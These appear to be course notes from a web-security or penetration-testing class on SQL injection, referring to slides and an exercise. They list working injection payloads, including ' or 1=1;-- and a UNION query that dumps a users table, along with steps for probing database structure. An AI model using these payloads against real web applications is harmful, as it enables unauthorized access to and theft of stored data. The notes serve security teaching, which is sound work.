web app formulates SQL queries based on user input
form variables
cookies
hidden forms
variables in GET
user inputs an sku in a web form.
select * from inventory where sku='[input]'
1. get db to return an error
2. determine db structure
SQL language
On different db software
different syntax
different config tables
useful statements
select [cols] from [table] where [criteria]
stay away from update, drop, etc. (DDL)
see slide 168
' or 1=1;--
" or 1=1
' or 'a'a = 'a
') or '(a'='a
select * from inventory where sku='' or 1=1;--'
the semicolon
UNION
select * from inventory where sku='' UNION select * from users where 1=1;--'
may respond with whole inventory table and then whole users table as one big table
number of cols and data type must be same for both sides of UNION
Query the db for its structure
slide 170
MSSQL
Oracle
MySQL
-
Put in honeytables and detect any access
-
Injection cheatsheet at http://pentestmonkey.net
Blind SQL injection
-
exercise: SQL injection p. 175